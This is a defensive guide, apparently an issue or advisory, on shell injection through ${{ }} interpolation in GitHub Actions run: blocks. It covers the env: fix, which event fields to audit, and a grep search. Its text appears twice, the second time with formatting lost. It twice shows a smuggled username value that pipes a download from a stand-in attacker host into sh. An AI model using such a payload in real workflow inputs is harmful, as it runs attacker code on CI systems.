Problem
GitHub Actions workflows that use ${{ }} expression interpolation directly inside run: shell blocks are vulnerable to shell injection when the interpolated value is attacker-controllable.
For example, a username like evil$(curl attacker.com/pwn|sh) would execute arbitrary code:
# ❌ VULNERABLE — attacker-controlled value expands in shell
run: echo "PR by ${{ github.event.pull_request.user.login }}"
Fix
Always pass attacker-influenced values through the env: block. The value arrives as a literal bash variable, not a shell expansion:
# ✅ SAFE — value flows through env, no shell expansion
env:
PR_USER: ${{ github.event.pull_request.user.login }}
run: echo "PR by $PR_USER"
What to audit
Any ${{ }} expression inside a run: block that references attacker-controllable data:
| Source |
Examples |
| Usernames |
github.event.pull_request.user.login, github.event.issue.user.login |
| PR/issue content |
github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title |
| Branch/tag names |
github.event.pull_request.head.ref, github.ref_name |
| Commit messages |
github.event.head_commit.message |
| Review comments |
github.event.review.body, github.event.comment.body |
Pattern to search for
# Find potentially vulnerable patterns in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/ | grep 'run:'
How to fix each occurrence
- Move the
${{ }} expression from run: into an env: block on the same step
- Reference it as
$ENV_VAR in the shell instead
- If the value is used in a step output (
echo "name=value" >> $GITHUB_OUTPUT), the output itself becomes attacker-influenced — downstream steps consuming that output via ${{ steps.X.outputs.Y }} in their own run: blocks need the same env: treatment
References
Problem
GitHub Actions workflows that use
${{ }}expression interpolation directly insiderun:shell blocks are vulnerable to shell injection when the interpolated value is attacker-controllable.For example, a username like
evil$(curl attacker.com/pwn|sh)would execute arbitrary code:Fix
Always pass attacker-influenced values through the
env:block. The value arrives as a literal bash variable, not a shell expansion:What to audit
Any
${{ }}expression inside arun:block that references attacker-controllable data:github.event.pull_request.user.login,github.event.issue.user.logingithub.event.pull_request.title,github.event.pull_request.body,github.event.issue.titlegithub.event.pull_request.head.ref,github.ref_namegithub.event.head_commit.messagegithub.event.review.body,github.event.comment.bodyPattern to search for
How to fix each occurrence
${{ }}expression fromrun:into anenv:block on the same step$ENV_VARin the shell insteadecho "name=value" >> $GITHUB_OUTPUT), the output itself becomes attacker-influenced — downstream steps consuming that output via${{ steps.X.outputs.Y }}in their ownrun:blocks need the sameenv:treatmentReferences